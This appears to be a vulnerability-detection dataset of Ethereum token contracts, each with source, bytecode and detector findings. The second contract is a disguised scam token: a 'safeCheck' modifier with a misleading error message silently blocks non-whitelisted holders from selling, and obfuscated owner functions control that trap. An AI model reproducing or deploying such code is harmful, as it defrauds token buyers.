function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
// Saftey Checks for Divison Tasks
function div(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
// Saftey Checks for Subtraction Tasks
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
// Saftey Checks for Addition Tasks
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
// validates an address - currently only checks that it isn't null
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
function transferOwnership(address _newOwner) onlyOwner {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function acceptOwnership() {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
event OwnershipTransferred(address indexed _from, address indexed _to);
}
contract VtsStandardToken is VIRTUSToken, Ownable {
using VTSMaths for uint256;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function freezeAccount(address target, bool freeze) onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function transfer(address _to, uint256 _value) returns (bool success) {
if (frozenAccount[msg.sender]) return false;
require(
(balances[msg.sender] >= _value) // Check if the sender has enough
&& (_value > 0) // Don't allow 0value transfer
&& (_to != address(0)) // Prevent transfer to 0x0 address
&& (balances[_to].add(_value) >= balances[_to]) // Check for overflows
&& (msg.data.length >= (2 * 32) + 4)); //mitigates the ERC20 short address attack
//most of these things are not necesary
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (frozenAccount[msg.sender]) return false;
require(
(allowed[_from][msg.sender] >= _value) // Check allowance
&& (balances[_from] >= _value) // Check if the sender has enough
&& (_value > 0) // Don't allow 0value transfer
&& (_to != address(0)) // Prevent transfer to 0x0 address
&& (balances[_to].add(_value) >= balances[_to]) // Check for overflows
&& (msg.data.length >= (2 * 32) + 4) //mitigates the ERC20 short address attack
//most of these things are not necesary
);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
/* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 */
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
// Notify anyone listening that this approval done
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract VIRTUS is VtsStandardToken {
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
uint256 constant public decimals = 8; //How many decimals to show.
uint256 public totalSupply = 1000000000 * 10**8 ; //
string constant public name = "VTS Token"; //fancy name: eg VTS
string constant public symbol = "VTS"; //An identifier: eg STF
string constant public version = "v1"; //Version 2 standard. Just an arbitrary versioning scheme.
function VIRTUS(){
balances[msg.sender] = totalSupply; // Give the creator all initial tokens
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
}
|
0x606060405236156100ef576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f4578063095ea7b31461018357806318160ddd146101dd57806323b872dd14610206578063313ce5671461027f57806354fd4d50146102a857806370a082311461033757806379ba5097146103845780638da5cb5b1461039957806395d89b41146103ee578063a9059cbb1461047d578063b414d4b6146104d7578063cae9ca5114610528578063d4ee1d90146105c5578063dd62ed3e1461061a578063e724529c14610686578063f2fde38b146106ca575b600080fd5b34156100ff57600080fd5b610107610703565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101485780820151818401525b60208101905061012c565b50505050905090810190601f1680156101755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018e57600080fd5b6101c3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061073c565b604051808215151515815260200191505060405180910390f35b34156101e857600080fd5b6101f06108c4565b6040518082815260200191505060405180910390f35b341561021157600080fd5b610265600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108ca565b604051808215151515815260200191505060405180910390f35b341561028a57600080fd5b610292610d99565b6040518082815260200191505060405180910390f35b34156102b357600080fd5b6102bb610d9e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102fc5780820151818401525b6020810190506102e0565b50505050905090810190601f1680156103295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561034257600080fd5b61036e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dd7565b6040518082815260200191505060405180910390f35b341561038f57600080fd5b610397610e21565b005b34156103a457600080fd5b6103ac610f81565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103f957600080fd5b610401610fa7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104425780820151818401525b602081019050610426565b50505050905090810190601f16801561046f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561048857600080fd5b6104bd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610fe0565b604051808215151515815260200191505060405180910390f35b34156104e257600080fd5b61050e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611317565b604051808215151515815260200191505060405180910390f35b341561053357600080fd5b6105ab600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611337565b604051808215151515815260200191505060405180910390f35b34156105d057600080fd5b6105d86115da565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561062557600080fd5b610670600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611600565b6040518082815260200191505060405180910390f35b341561069157600080fd5b6106c8600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050611688565b005b34156106d557600080fd5b610701600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506117b0565b005b6040805190810160405280600981526020017f56545320546f6b656e000000000000000000000000000000000000000000000081525081565b6000808214806107c857506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15156107d357600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b60065481565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156109275760009050610d92565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156109f2575081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156109fe5750600082115b8015610a375750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610ad35750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ad083600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188990919063ffffffff16565b10155b8015610ae457506044600036905010155b1515610aef57600080fd5b610b4182600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b490919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bd682600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188990919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ca882600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b490919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600881565b6040805190810160405280600281526020017f763100000000000000000000000000000000000000000000000000000000000081525081565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e7d57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f565453000000000000000000000000000000000000000000000000000000000081525081565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561103d5760009050611311565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015801561108c5750600082115b80156110c55750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156111615750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461115e83600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188990919063ffffffff16565b10155b801561117257506044600036905010155b151561117d57600080fd5b6111cf82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b490919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061126482600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188990919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b60056020528060005260406000206000915054906101000a900460ff1681565b600082600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b838110156115795780820151818401525b60208101905061155d565b50505050905090810190601f1680156115a65780820380516001836020036101000a031916815260200191505b5094505050505060006040518083038160008761646e5a03f19250505015156115ce57600080fd5b600190505b9392505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116e457600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15b5b5050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561180c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156118845780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b5b50565b60008082840190508381101580156118a15750828110155b15156118a957fe5b8091505b5092915050565b60008282111515156118c257fe5b81830390505b929150505600a165627a7a72305820cf99f2ada7eead0485cb278bccafafb2b222379be1ab94a20a75beff046cf7f40029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
| 4,184 |
0xf2d41bdb763a68c37a173d0ded95fe055804464d
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
//NFTAlley.io
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
_;}
function _transfer_coin(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611b0e60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156